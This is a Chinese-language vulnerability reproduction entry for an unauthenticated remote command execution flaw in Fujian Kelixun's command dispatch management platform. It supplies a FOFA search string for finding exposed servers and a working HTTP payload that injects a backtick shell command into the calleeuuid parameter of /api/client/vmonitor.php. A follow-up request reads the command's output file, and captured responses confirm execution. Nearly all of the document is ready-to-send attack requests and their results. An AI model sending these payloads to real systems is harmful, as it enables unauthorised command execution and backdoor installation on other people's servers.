F2-8福建科立讯通信-指挥调度管理平台-RCE

漏洞描述：

福建科立讯通信有限公司指挥调度管理平台vmonitor.php、invite2videoconf.php、等接口处存在远程命令执行漏洞，未经身份认证的攻击者可通给该漏洞远程执行命令，写入后门文件可导致服务器失陷。

网站图片：

网络测绘：

fofa语法：

FOFA：body="指挥调度管理平台"

漏洞复现：

payload：

```
GET /api/client/vmonitor.php?extension=1&calleeuuid=`uname%20-a>2.txt` HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
```

效果图:

Request

数据包扫描 热加载 构造请求

```
GET /api/client/vmonitor.php?extension=1&calleeuuid=`uname%20-a>2.txt` HTTP/1.1
Host : :7080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
```

Responses 1bytes / 301ms

```
HTTP/1.1 200 OK
Date: Thu, 04 Jan 2024 14:21:07 GMT
Server: Apache
Access-Control-Allow-Origin: *
Set-Cookie: PHPSESSID=d5122639197f35551baf
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-re
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 1

0
```

验证

```
GET /api/client/2.txt HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
```

Request

数据包扫描 热加载 构造请求

```
GET /api/client/2.txt HTTP/1.1
Host : 7080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
```

Responses 103bytes / 37ms

```
HTTP/1.1 200 OK
Date: Thu, 04 Jan 2024 14:22:27 GMT
Server: Apache
Last-Modified: Thu, 04 Jan 2024 14:21:07
ETag: "67-60e1f714e41a8"
Accept-Ranges: bytes
Content-Type: text/plain; charset=utf-8
Content-Length: 103

Linux template 3.10.0-957.el7.x86_64 #1 S
x86_64 GNU/Linux
```